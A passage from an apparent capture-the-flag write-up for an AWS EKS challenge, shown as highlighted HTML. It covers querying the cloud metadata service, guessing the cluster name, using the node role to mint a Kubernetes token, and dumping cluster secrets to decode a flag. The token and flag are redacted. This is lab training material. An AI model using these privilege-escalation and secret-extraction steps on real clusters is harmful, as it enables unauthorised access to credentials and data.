style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/.well-known/openid-configuration] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openid/v1/jwks] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThat is \u003cem\u003every\u003c/em\u003e minimal access. So we are going to have to try get a token using\nthe escalated privileges. Usually we could use \u003ccode\u003eaws eks get-token\u003c/code\u003e but that\nrequires knowing the cluster name and I do not know that. Let us try to list the\nclusters:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list-clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDeniedException) when calling the ListClusters operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:ListClusters on resource: arn:aws:eks:us-west-1:688655246681:cluster/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo they have not given us much to go on at all here. The role itself \u003cem\u003emight\u003c/em\u003e be\na clue but that is relying on them being consistent with their naming:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003earn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe cluster name \u003cem\u003emight\u003c/em\u003e be \u003ccode\u003eeks-challenge-cluster\u003c/code\u003e based on that but I cannot\nguarantee that. Let us check its security groups:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -sS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/security-groups\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e;\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eecho\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeks-cluster-sg-eks-challenge-cluster-963543728\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe name is there again. I do not feel good about not having more details but it\nis at least worth trying it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-token\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --cluster-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ExecCredential\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"client.authentication.k8s.io/v1beta1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"spec\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"status\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"expirationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03T03:38:10Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"token\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYX\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis gets us a token, so let us try to use it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-token\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --cluster-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.status.token'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [debug-sa] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ePerfect! We have more access which includes fetching secrets:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"items\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"data\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"flag\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3\u0026#x3C;*REDACTED*\u003e=\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T12:27:57Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"node-flag\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge4\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"883574\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"26461a29-ec72-40e1-adc7-99128ce664f7\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we just need to base64 decode that and we are on to the next challenge!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e jq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{only_a_real_pro_can_navigate_\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eChallenge 5\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eYou've successfully transitioned from a limited Service Account to a Node\nService Account! Great job. Your next challenge is to move from the EKS to the\nAWS account.\n\nCan you acquire the AWS role of the s3access-sa service account, and get the flag?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us start with checking what access we do have:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e whoami\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 